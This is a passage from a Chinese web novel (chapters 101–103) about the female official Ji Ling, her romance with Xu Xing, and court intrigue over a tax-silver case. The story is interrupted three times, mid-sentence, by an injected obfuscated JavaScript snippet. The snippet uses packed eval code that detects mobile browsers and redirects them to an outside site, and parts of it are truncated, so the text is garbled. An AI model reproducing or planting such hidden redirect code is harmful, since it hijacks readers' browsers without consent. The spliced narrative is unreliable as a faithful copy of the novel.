“再说吧,做徐家少夫人指定没有做户部侍郎与内阁大学士来的痛快。” 眼下,她还只能肖想户部侍郎之位,可季泠心里也门清,坐到户部侍郎谈何容易,历代三品以上官员,无论是两京五寺六部,还是十三行省,无一例外都是科举正路上来的。 可肖想一番,也不算逆天而行吧? 正如昔年在书院读书时,她又怎会想到自己会有在庙堂铃阁挥斥方遒之日? 人还是要敢想的! 敢想就敢做,敢做就能成! 101. 心上人将离风云地 “你们说,这身绯袍与我气质相配吗?”季泠退后几步,想让他们看得更全乎些。 为了足够有气势,她还煞有介事地端起手,展了背,竭力让自己看起来更庄重英朗些。 白芨十分捧场,“大人穿着青袍,便是坚粹松林,穿着绯袍,便是灿烂骄阳。” 白蔹也赞:“咱们家大人是天底下穿绯袍最好看的人!” 韩嬷嬷和蔼言道:“果然说,俏姑娘着红装,这样一身红衣,衬得您气色都红润了。” 季泠骄傲昂首挺胸,笑晏晏间频频点头,无比享受三人的吹捧。 身后那人驻足观赏许久,终是接上了话。 “绯袍供能臣,红衣配佳人。今日这件官服穿在你的身上,它的贵重才算彰显的淋漓尽致。” 季泠先是认可地应声点头,待那话音落地,一阵轻笑接上,才猛然发现声音源自何方。 转过身去,徐行站在栏杆罩旁,背手倾头,笑意绵绵,见她终于发觉他的存在,才提步向她走来。 “你什么时候来的!”季泠大喊一声,回头瞪了三人一眼,竟如此放任徐行躲在她身后看她笑话! 回身对上徐行,立刻捂住脸,正欲伸手将他推出里间,却不料才跨出一步,就巧着踩到那长出一截的下摆,想要抓起衣摆,双手又困在宽宽大大的袖子里,怎么抖摞也找不到出路。 接二连三的几步踉跄,直接将她违心地送入徐行怀中。 徐行哭笑不得,却是等待已久般,伸手接住她。 季泠恨不得将整个人缩起来,听见身后白芨白蔹偷偷笑出声。连韩嬷嬷都笑了! 季泠后悔莫及。早知道就不该允许徐行这样畅通无阻地进入她的浮云堂! 这下好了,她所有出丑的模样都被他瞧见了,她刚刚那番孤芳自赏的感叹定也被他一字不落地听了个干净! “想是我的衣裳有灵性,会认主,一见我来,便等不及地贴上来了?” 那笑声未免太过揶揄,季泠立刻抬头瞪他,要从他怀中挣脱,却又被他圈在腰上的手紧回去。 “笑什么笑!” “嗯,确如韩嬷嬷所说,很衬气色,一身绯袍穿上,脸都格外红润了。” 徐行指节滑过她的脸,季泠气的作势要咬他,却没能得逞。 “不过,怎得脸这样发烫?”徐行戏谑地瞧着她,季泠咬牙切齿,毫不留情地锤他一拳,叫他吃痛得捂住了胸口,另一只手却还不松开她。 “还有人看着呢!”季泠压低声音,却不敢胡作非为。 徐行抬了抬眼,白芨白蔹等着季泠下文,季泠在底下偷偷摆了摆手,她们立刻抿嘴低头退下了。 “现在没人看见了。”徐行故意在她耳边低语。 果不其然,季泠又羞又恼,呲牙咧嘴,“快放开我!你还没笑够吗!” 她真是太倒霉了! 徐行明白不能再继续逗弄她了,该要点到即止,季泠的拳头真是有几分威慑力的。 季泠解了困,立刻就要将身上的绯袍脱下,却被徐行按住。 “你舍得脱了?” “又不是我的!还给你,省的你笑话我,又觉得我惦记你的东西。” “航青,”徐行牵着她手,“我没有在笑话你,” “你分明就……”季泠话还没说完,徐行就伸出手捏了捏她的脸,将她的话止住了。 “我只是觉得,你这样活泼又随心的模样,”他在看她,“可爱极了。” 季泠一怔,徐行便将她拉到铜镜前坐下,替她捋顺褶皱,将自己的乌纱帽给她带上。 看着铜镜中的自己,季泠不免出了神,分明往日也是这样的装束,不过是换了个颜色而已,怎么就是如此端方矜贵,如此明丽好看。 这样权势滔天的红,将要把她的心都烧烫灼热了,几乎要不能自控。 眨眼间,她盯着铜镜,发现自己的嘴角在兀自翕动,迫不及待地冲破万古封存的规训。 “这是你的地盘,大方做你自己,害羞,胆怯,尴尬,扭捏不安,本不属于你。看看自己,航青。” 季泠认真地看着自己,“坦荡大方地正视你的野心,你有能力,配上这身官服。” 再不必掩藏,再不必压抑,季泠咧开嘴,灿烂展笑,自信张扬,明媚如光。 “我有这个能力吗?前无古人。” 徐行按住她的双肩,给她无尽的肯定与力量:“有。前无古人,后有来者,你便是开天辟地第一人。航青,你正当风华,已位居五品,掌湖广一司,主书院之事,可断刑狱之案,可救民生之艰。你前途似海,何愁没有荣升之日。” 徐行在她身后,语调悠长轻缓,可却那样蕴力坚定。 季泠仍是换下这身她梦寐以求的绯袍,换回她的长衫。 她将他的官服叠好,交还给他。 “本就是我虚荣心作祟,偏想试一下你的衣裳,感受一把高官大员的威风。只是我也知道,我当下没这样的本事撑起它。” “你是只需要时间。” “不止时间。”季泠抱胸看着他,目光灼灼,“我还需要人。” 徐行挑眉,接下她的话:“哦?季大人需要什么人?” 季泠伸出手,指尖勾住金荔枝革带,一脸正气:“很多。能让我将我的想法付诸实践;能替我扫除阻碍;能让我从想如何才能做,转变为如何去做;能让我一声令下,肝脑涂地;能让我不必游说便纳忠效信;能对我至死不渝,死心塌地。” 她说一句,徐行就迈一步。 直到最后,季泠的指尖止住他,不让他更进一步。 “这样多,真贪心啊。”徐行含笑,刮了刮她的鼻子,惹得季泠皱了皱脸。 “你都有,我为何不能有?况且,我只需一人即可。” “哦?” 季泠手往下落,一把拽住垂坠大袖,将徐行拉到她与她平视的位置,靠近他,鼻尖扫过他的耳鬓,留下诱人芬芳,“吏部侍郎一人即可。” “吏部侍郎有这样大的本事?” “吏部侍郎可作虎符,号令千军万马。” 她将她的野心耳语给身边人听。 吏部侍郎眯了眯眼,压下嗓音,“季大人不怕,被人议论吗?” 季泠撇撇嘴,“我一生都逃脱不了被议论靠人上位的宿命。既然如此,我便遂了他们心愿,总不好叫我背了骂名,却得不到实利。” “况且,既然逃不掉,我自然要选一个最出色的,也好让他们觉得,我本事果真不凡。” 话音刚落,季泠嘶了一声,清风明月般的徐大人揉捏她的耳垂,叫她识趣地住了嘴。 “选一个最出色的?若没有我,还有旁人不成?嗯?” 季泠但笑不语。 “回答我,季航青。” “运气太好,第一把出手,便得美人归。再想选,也没机会了。”季泠似乎十分可惜,还未佯装叹气,便被徐行封了唇,不许她再多说半个字。 也不知究竟是哪句话惹到了徐行,如此赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446363|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽杀绝般将她的空气掠夺干净。 季泠跌坐在榻上,攥着徐行的衣裳,竭力平复方才的亲近带来的悸动。 “徐侍郎,你越来越霸道了。” 自从她那日说了不想与他成亲之后。 徐行的手停留在季泠颈侧,指腹摩挲着她的下颌,她痒的缩了缩脖子。 想来是季泠的话让他不满了,手上的力没收住,莹润柔肤留下桃花瓣似的红色指痕。 “公事称职位,私下还这样称呼吗?” “好嘛,徐行?”虽说她官职比他低,曾经又做了他半年的学生,这样直呼姓名本是不妥,可真要让她喊他的字,季泠又喊不出来。 徐行用行动表达了否定。 季泠忍无可忍推开他,气得大嚷起来,“徐润旻徐润旻徐润旻!可以了吧!你再这样,户部的人迟早看出我的端倪来!” 徐行捉住她的手,再一次袭来,“不对。这是惩罚。再想想。” 见她撅着嘴瞪他,眼尾初荷坠粉晕到脸颊,果酒般诱人迷醉。 徐行眼见着她一步步走到今日,摸索着人情世故,日益成熟稳重,可也不知怎么回事,越见她一回,越觉得她可爱了几分,便越发难以自控,活像是被下了蛊。 季泠挣扎着调整姿势,徐行不舍地放开她,却想起那日醉了酒的季泠扑进他怀中委屈诉苦的模样,实在是无比怀念。 才松了的手又控制不住地紧了几分,连带着将她一双腿也拢在身侧,要她彻底依靠着自己。 既如此愚钝,他便慢慢教吧。 “我平日唤你什么?” 季泠动弹不得,只能老实回答:“航青。” “谁为你取的字?” “你。” “推己及人,你该唤我什么?” 在他循循善诱下,季泠已经得到了答案,喊出那个八年来再无他人提及的别字。 “山止?” 徐行满意点头,俯身再度吻她。 “答对了为什么还亲我!” “这是奖励。” “臭徐山止!我再也不会允许你进浮云堂!” 毫不遮掩的嗔怒顺着大开的支摘窗飘到廊下,白芨白蔹注意到动静,忍不住发笑。 韩嬷嬷道:“若要笑,也要小声些,莫给姑娘听见了,她转头要来斥责你们的。” 白蔹拍着腿笑个不停,凑过去问韩嬷嬷:“嬷嬷,徐大人在家中也是这样吗?与往日见到的似乎不一样呢。” 最近的徐大人着实有些反常,惹得她们大人也反常了。 韩嬷嬷笑得慈祥,目光悠远。 “嬷嬷也从未见到少爷如此呢。” 韩嬷嬷是看着徐行长大的,这位少爷自小随了他父母的性子,甚至略胜于二人,淡淡的,对所有人事都保持着得体的温和,无可指摘。 她陪着徐夫人站在行止斋沿廊下,看着徐行在书案前练字看书,温润出尘,是无数人家羡慕的孩子,可这位母亲却十分忧愁,她不懂她孩子的喜怒哀乐,因他从不对任何人诉说心中所想。 徐行永远做着正确的事情,见着落花会掸入泥中,对待弱者则施以道义驱使的怜悯,可无人能左右他的情绪。 为数不多的两回显露,也是十分克制。 第一回是昔年背离徐老爷的要求,选择跟随谭谦。 第二回则是入仕次年,谭谦被贬,他遭遇冷待,选择南下避世。 而如今,在这小小的浮云堂中,徐行喜怒哀乐竟有了鲜活之色。 102. 护身符镇压鬼煞气 支摘窗内,徐行搂紧季泠,抚摸她的脊背,抬头瞥见窗子正对的条案上,挂着一幅画。 那副画旁,还有一副字。挥毫泼墨,纵情恣意,是她少年时心中所求。 “何妨吟啸且徐行。” 季泠装的坦然自若,可眼神已然开始飘忽。 “何时写的?”徐行的笑意几乎要溢出来了。 “你管我!我喜欢苏子的词。” “噢,原来如此。”徐行点了点头,却是故意要把语调拉得延长不尽。 季泠趴在徐行肩上,玩着他的眉毛,指腹从眉尾划到眉头,将他的眉毛拨弄得逆乱。 “我瞧着,你漏夜前来,该不会只是趁我不备来看我笑话的吧?来报信的?报的什么信?” “果然瞒不过你。”徐行坐了坐正,季泠也将腿收回,理了理衣裙。 徐行来的时间倒没什么特别,只是这么迟了,却穿着公服,似乎是从宫里来了,不是御前就是内阁,看来是有大事发生。 “胡尚书的女儿和离了。” 季泠不可思议,“和离?什么时候的事情?” “我们赈灾回京的时候。” “好啊…”季泠喃喃,“好手段,如此赶巧,就比我们快了这一步。” 季泠突然就后悔自己先前的行为,应惟绅让她不要插手此事是有道理的。 她前脚参了贺晋环与闫有德,后脚又在武昌拿下了姚知府与曲通判,操之过急,打草惊蛇了。 可哪怕后悔,眼下她再回顾这半年所为,却又实在找不到破解之法。 难道要她不管不问,只看着湖广秋粮因人祸沉入所谓的漕河中吗? 税银案真相若不能水落石出,这数十万石的粮食,迟早又会以各种名义摊派到百姓头上。 湖广遭了旱灾疫病,正是需要休养生息的时候,这波赈灾粮又耗了国库为数不多的银钱…… 何况,因胡党贪污而冤死的所有丁役、劳工、军户,他们又有谁来伸冤? 他们背后的千百个家庭失去了顶梁柱,还兴许因渎职之罪被连坐灭口,或是一生蒙受屈辱指点。 左走是死,右走也是死。 胡尚书这动作来的太快,将李书言与胡家摘脱,显然是早有后手,打定要弃车保帅了。 湖广那儿的姚知府与曲通判死了,陕西的李书言被弃了,眼下南直隶那儿还没有消息…… 她需要一个契机。 他们都需要一个契机。 一个能将胡善樘与税银案捆死的契机。 徐行看着季泠紧皱眉头,顺着她的后背,想宽她的心,“眼下,只能看皇上的定夺。你别太着急,一个个人审过去,要吐出来的东西那么多,没那么快。开国时期也有这么一桩案子,上上下下查了一年才结案论罪,如今为时尚早。” “看皇上的定夺……若是皇上想保他,我们怎么办?” 他们铁定没好结果的,她,徐行,应惟绅,全部出手了,自然也暴露在胡善樘眼下。 他们双方,必要论出个毫无悬念的胜负。 “应当不会,去年皇上想要兴修陵寝,却被胡尚书用财政紧缺挡了回去。今年就查出李书言手下贪了这么多银子。李书言当年可是他提拔起来的,虽然他迅速割断关系,可明眼人都能看得出来,他才是幕后操纵之人。尚书的位子是保不住了。只是,他做的也太周全了些……” 徐行叹了气,季泠难免揪心,“可他不死,只是革去尚书一职,迟早会有卷土重来的一日。” 季泠知道,他们这样位置的人,虽不说心慈手软,可总要顾及名声后路,不会将人逼至死处。 钱莘与张瑛明里暗里斗了十来年,谭谦在二人手下忍耐七年,最后借西北鞑靼军情打击张党,也不过是让张瑛罢官归乡。 可季泠坚信,野火烧不尽,春风吹又生。 她若要做,就必须当断则断,斩草除根。 徐行看向条案上的那两幅字画,悠悠道:“圣意难测啊……如今内阁势力不够平衡,皇上有心扶持汉王府邸中人,却又怕超出控制范围……浙直总督前不久回京述职,被皇上留下密探,如今还未离京。兴许,为了稳固局势,皇上会轻轻放下……” 稳固局势…… 徐行所言,季泠当然明白。 可徐行似乎忘记了,他此番揣测,其实不宜告诉她。 汉王府邸中人是谁? 徐行,谭谦。 浙直总督又出自哪里? 公主府旧日属臣。 季泠问:“都是凡人,死到临头,都会害怕。若是胡尚书自乱阵脚,狗急跳墙,乱了皇上的安排,又当如何?” 徐行想了想,答她:“那他就将走钱莘的老路了。” 何为钱莘老路?若是安守本分,皇上兴许为了安稳朝局,发落几人,压下此事。可钱莘偏偏自取灭亡,天子就只能顺应天道,杀一儆百。 季泠沉浸在思索中,徐行贴了贴她的脸,唤回她的注意。 “嗯?” “李书言逃了。”季泠瞳孔骤缩,瞬间心慌起来。 下一刻,徐行的话证实了她慌张的预料:“我要离京几日,去山西。” “是胡善樘!他把你支出去!他要用李书言的命换你的命!” 季泠颤着声,看着徐行,希望他否定自己的猜想。 可是,徐行点了头。 “我们晚他一步,就处处受他辖制。胡善樘直接将此事捅到皇上面前,断尾求生。” 季泠猛地抓紧徐行的手,拼命摇头,“不……你不能去……” 可此话说出来,她自己也知道,不过是一时情急,情绪上头的蠢话。 “所以,这段时日,京城可能也未必太平。我把抱月留给你,你别让他离了身。” “不行,他的身手最好,你怎么能把他留给我?” 季泠想了想,给了替代方案:“我在京城,天子脚下,谁敢行凶?况且,动了我便要惹上公主府,他们会三思的。倒是你,若是身边人不够,他们随意找个盗贼流民的名义,在路上对你设伏,你如何应对?览风与抱月时常随行,上次长街遇刺,抱月出现在我身边,已经引来一些猜测。……不若这样,阅云驻守京城,他善藏匿,少出现在众人面前,不会惹人怀疑。” 徐行笑笑,得了妙计般十分满意。 “其实这于我们而言未尝不是一个机会。李书言被弃了,绝不甘心就此成为替死鬼。他的岳父恩师如此薄情寡义,兴许山西有许多人会借此看清他的真面目,弃暗投明。我此番去,明面上是捉拿李书言,暗地里可以游说那些人……” 季泠听着徐行的谋划,心却怎么也无法安下来。他也说了,兴许而已。胡党中人,就算是蠢蠢欲动,可也未必敢做这第一个背弃者。 “所以,我需要你在京城好好的,替我盯着那些人……” 季泠沉默不语,徐行低头看她,她的唇角紧绷着。 “航青?” “嗯?” 季泠回了神,靠在徐行怀里,愁眉不展:“你此行去山西,我真的,很担心……”说出这话,甚至都带了几分退缩的哑意。 山西不在他们规划范围内,要去捉人,谈何容易? 何况,胡善樘就是从山西升上来的,那是他的老巢,李书言逃到山西,八成会先落入胡善樘之手,徐行简直就是羊入虎口。 “别怕,我的亲卫都会随身, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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季泠也明白,谋划过多是无益的,局势时刻都在变化,他们也要先下手为强。 “你,你能在七月七赶回来吗?” 徐行为了让她安心,应下说:“我会尽力。” 季泠犹豫了一会儿,很快抬起头,在他耳边说,“若是七月七你能回来,就留在浮云堂吧。” 徐行瞬间怔愣,想要侧头看她,季泠继续说,“你不是说,永定河有水灯吗?” 徐行笑了,轻抚她的乌发,点点头,“好,我会平安赶回来。” 徐行挑了帘子离开浮云堂。 珠帘声音渐渐消散的一瞬间,季泠心里突然缺了一块,再也顾不上任何,连忙提着裙子跑出去,大声喊住他:“山止!” 徐行回眸看去、季泠噙着泪,站在浮云堂的牌匾下,身后太师壁两侧的示言有些模糊。 季泠目光澄明,漾着如水月影,深深凝望着他,还是努力扯出来一个笑容,压下哭腔低声说:“去吧……” 饱含酸涩。 徐行倏尔回身,突然想到,上一回她对他如此不舍,就是季泠要去主持大合乡疫病的时候。他将她拥入怀中,很紧很紧,生怕她如清晨远山薄雾,太阳一出来,就散去了。 他心中生出隐隐不安。 “在家,好好等我。” 季泠没应他,只说:“我想,你回来那日,我睁开眼,就能看见你。” 声音很弱,很闷,仿佛他走后,她可能就再也见不到他了,那般惶惶不安。 徐行应了她,“会的。我回来,立刻来向你报平安。” 说罢,徐行拉过季泠的手,放在他心口处,那里放着季泠贴身八年的护身符。 103. 季郎中长街再遇刺1 七月七,乞巧节,整个京城都洋溢着节庆的欢悦。 今年在石竹巷张罗布置的是国子监祭酒林家。林载源两子一女,次子为林清许,比徐行还要长上两岁。 季泠刚搬来石竹巷时,发现隔壁那低调的门头竟然是林家,还是有些惊讶。 浮云堂庭院中,季泠抬手,一只白头翁落在她臂上。 取下信后,喂了食,白头翁盘旋须臾又振翅高飞,动静很快就被巷中热闹的动静掩盖。 石竹巷里,搬运吩咐的声音不绝于耳,稚童的笑声穿过门墙,传入浮云堂时,只剩下浅浅淡淡的一缕虚声。 季泠分辨出,那是林家小姐,名为蕴宜,如今才刚满十二。 林祭酒老来得女,全家都宠爱这个小女儿,林家将她教养得极好,年纪虽小,气质却温厚。季泠很喜欢那个小姑娘。 抬头看去,天边金光渐渐消散,石竹巷应该已经挂上彩灯了。 阅云随召走到内院中时,季泠正在给一盆花松土。 是一盆宝珠茉莉。如今正是茉莉开的第一茬花,叶片油亮,花瓣层层叠叠,圆润洁白,满庭院浓郁的芬芳。 季泠歪着头,很认真,指尖沾了土也不甚在意。 听到脚步声,她偏了偏头,看了一眼来人,很快收回眼神。 阅云的脸色并不好看,可还是掩藏起异样,上前回话:“季大人。” “还在山西是吗?” “嗯。” 看来很不顺利。 季泠也猜到了,徐行是没办法在七月七赶回来的,她那时候只是心存了些许希望,就像每回她去寺庙上香时,祈求合境顺安,只不过是许愿而已。 徐行不可能在这么短的时间内解决掉势力错综复杂的胡党一干人,她和徐行心知肚明。 人命啊,由不得凡人来许愿成真的。 季泠想到刚才那封信,对阅云说:“五日后,你出发,去接他。” 阅云皱了皱眉,并不赞同:“少爷的命令,是让属下全力护卫您。” 季泠转过身,拍了拍手,细土从她手中坠落。 “阅云,你近日得到的消息不少吧?” 阅云看着她,心下一紧,不知道季泠究竟是什么意思。少爷不愿让她掺入其中最可怖之处,可她心思太过敏锐……或者说,手脚太快了——暗卫里已经有了她的人。 “你该知道,抱月已经阻拦了沿途无数刺客。” 季泠盯着阅云,沉重的担忧似乎已经将她压得喘不过气,以至于面对阅云,她也不再维持镇定。 “一旦入了京,税银案参与者的路就彻底被堵死了。这是他们最后的机会,焉能放过如此良机,让徐行顺利回京?阅云,你在徐行身边那么多年,不会不懂得当下的局势。只要徐行一死,应大人和谭大人失去最强大的助力,他尚未带回京的证据随他身亡而消散,胡尚书以退为进,来日翻盘,我们谁都讨不了好。” 阅云神情松动,他当然也知道,如今境况最糟糕的,该是他的少爷。可他们无权干预徐行的决策,只能听命行事。 季泠继续吩咐道:“五日后,天不亮你就出发,我会给你出城令。你带人快马前去接应,尽量将阵仗弄的声势浩大……据我所知,五军营中有你们的人?” 阅云诧异看向她,迟疑中点了头。 “那最好,寻个名目对你们来说并不难。” 阅云低下头,默认了。他知道季泠既然都做好了打算,必然不会允许他推拒。 阅云抱拳施礼:“属下,领命。” 季泠终于牵起笑,可阅云见了,却发觉是那样勉强又伤感。 季泠看向那株茉莉,轻声说:“阅云,把他好好带回来。” 阅云只低头看着她,他越来越看不透这个季大人。 他们少爷那样喜欢她,甚至为她屡屡破戒…… 这次山西之行,本不该由他去的。 可季泠呢? 阅云觉得,她对徐行的付出,远没有徐行对她的多。 她是如何心安理得享受徐行所给予的一切?可眼下,她又是那样心事重重地挂念他。他一时间竟疑惑了。 “去吧,安排好。尽量赶在十五落日前回来。”季泠最后吩咐他,就将他遣走了。 白蔹将那盆茉莉摆回厅堂中,碧萝端来水,给季泠洗去泥土。 碧萝年纪还小,心思不细,又是后来才来到她身边的,看她眼色总不如白芨白蔹。直到季泠晾着手许久,喊了她一声,碧萝才反应过来,连忙递上帕子给她擦手。 季泠想着这几日应该进行的安排,慢吞吞坐在石凳上,抬眼看见碧萝的背影,出声喊住她:“碧萝。” 碧萝惊了一下,有些慌张:“大人还有什么要吩咐奴婢的?” 季泠朝她招招手,碧萝走近了些,季泠伸出手,摸了摸她发间插的一只簪子,是一只桃花簪,缀着花瓣串起的流苏,精致小巧,很可爱。 “这只簪子…” 碧萝突生畏惧——季泠自进官以后,身上莫名多了几分威压,再加之她冷脸时那双眼睛幽深而有洞悉万物之象,眼下碧萝端着铜盆都不免颤抖。 “很衬你,”季泠朝她笑了笑,碧萝松了口气。 “今日是乞巧节,你这只簪子,是别人赠的?” 虽说季泠不大在意丫头们穿什么,可她给丫头们添置东西向来讲求公平,每人的衣衫首饰款式花样差别都不大。碧萝这只簪子,她倒是没见过。 碧萝听见季泠赞她,不免露出小女儿的娇怯:“回大人,是之前元宵灯会时,在路边买的。奴婢想着今日过节,带出来应应景。” 季泠点点头,“不错,日后多带带,你这样,很好看。” 季泠觉着,这个年纪的姑娘应该都是爱美的,她也爱美,只是需要花费时间,只好清简干净,以求方便。 次日的畅春楼内,季泠再度站在那扇窗前,背手而立,一身竹纹圆领袍,清姿卓越。 一人带帽前来,被阅云抬手拦住。 “我的客人。”季泠未转身,阅云看不清那人模样,只觉得身影分外熟悉。 那人走进雅间,没带随从,回身瞥了一眼阅云,帽檐下的眼神带着意欲不明的探究。 “关上门,别让人靠近。”阅云迟疑,一双眼盯着季泠身前的客人。 季泠转身,淡淡扫过门前两人,阅云方才罢休,垂首退出。 按理来说,他想要听清里面两人究竟在说什么,那人究竟是谁,轻而易举,只不过会惹某人不快罢了。 可阅云只一息便压下窥探的想法,只肃然守着门。 “徐行的人?”来人摘下大帽,再度露出那副皮笑肉不笑的嘴脸。 “嗯。”季泠应声。 “看你倒是看的挺紧,允许你这样冒险?” “允不允许又能如何,我的事情,我难道还没做主的权力?” “桀,你倒是不怕死,也不知道徐行究竟为什么看上了你。依他的性子,绝不会如此行事。” 季泠颇为不耐,压下烦躁,看着提梁壶中的水蓄势待发,水面的平静被一两个小气泡突破,后又是成群结队的气泡,直到彻底滚沸。 “你那么惦记他,我走就是了。你去寻他合作,别来找我晦气。”语气冷淡至极,话却得理不饶人。 分明一开始,是她摸上门来找他的吧?眼下反倒成了他的错了。 “你真开不起玩笑,小心眼的家伙。” 季泠不理这茬话,只专注于手中的活。壶中的水已经滚了好几回,季泠拎起提梁壶,玉色手背即隆起几道青筋,仿若拂晓时分天际边的连绵山线。 成珏看着季泠温杯,动作慢条斯理,倒还真有几分高门大户家教养出的气度,一拈一摇,可见几分雅意。 披着上层人的皮,季泠倒是得心应手。 “你的法子真的可靠吗?” 季泠捻起茶匙,铲了一团散茶。“有一定的风险,所以今日才再请您来。” 季泠微微颔首,体现十足诚意,却引对面人嗤笑道:“不必如此做作的恭敬,说白了,你我走是一条路子的人。今日若是你与徐行死了,按那老匹夫的手段,能舍了女儿女婿,估计转手就给我来一下。我手头捏着那么多的把柄,一旦被他撕开口子,落井下石的人怕是蜂拥而至了。” “所以,机不可失。” 滚水倾倒,扬起热气氤氲。安静片刻,待茶浸泡出香,倾杯倒茶。 “请。” 季泠将茶汤向前一推,他接过轻嗅:“白毫银针?” 季泠微笑点头。“应家人皆好白毫银针。” 尤其是她。 “你倒有心。”季泠不置可否。 成珏与她不过是利益往来,虽说将他扯进税银案,让他不得不求自保与她合作,可人心善变,她既然知道他的弱点,不趁机利用一番,岂不可惜。 “言归正传,地点我已经选好了,后手如何布置,就看你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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章钧龄点点头,与其它几位湖广司下属向季泠道了别。 人来人往,汹涌如潮,季泠独独站在人流之中,看着天色渐渐染红,闭眼吐了口气,感受心跳如雷轰鸣。 调整好后,一道意外之声传来:“季大人。” 祝扶春追着她的背影赶来,见她步履匆匆,却突然停下。摘了乌纱帽的季泠还没有换下补服,少了几分利落的威严,背影被霞光笼罩着,滋生出寡落的柔和。 她该是迎着朝阳的人,而非在夕阳里沉默。 祝扶春离她三步远,静静看着她。直到有一架马车从前方驶来,他才喊她一声。 醒过神来,季泠垂手抬步,心中估摸着时间。 “你怎么来了?” “前头事忙,耽搁了一会儿,想来找你对对进度,不料差这一步,你竟然先走了。”他的话有点多,季泠有一搭没一搭地听着,祝扶春虽一如私下往常称呼,但仍旧朝她微微低下头,回话的姿态很恭敬。 “……先前你吩咐的湖广减税文疏,我已经草拟好了,按照你那日所说的,我核照了受灾情况,参照以往灾区减税的例子,给了具体明细。由于大合乡是疫病爆发源头,如今尚在恢复之中,除了本年降税之外,还减轻赋役,以便百姓修养生息。” 季泠点了头,“极好,明日送到我家来,给我看看,若无大问题,便正式上疏吧,好早日让湖广百姓安心。” 送到,她家…… 祝扶春想问缘由,却发现季泠眯着眼看向远处右侧的商铺。 是畅春楼。 长街两侧鳞次栉比,天还未暗,许多大商铺已经点了灯,铺前地面上投射出淡淡灯影,被进进出出的客人影掩盖。 一个小姑娘坐在父亲的肩头,嘴里咿咿呀呀地撒着娇,小手指着什么,季泠顺着她藕节似的手看去,是一个做糖人的小摊。 父亲宠溺握住女儿的小腿,轻轻安抚,要了一个糖人,小女孩儿瞬间笑开了,雪团般的脸上露出两个可爱的酒窝。 这是最天真无邪的年纪。季泠不自觉地展开笑颜。 父女的身影渐渐模糊,她那似有眷恋的笑容在他眼中却愈发清晰。 下一刻,季泠脸色陡然生变。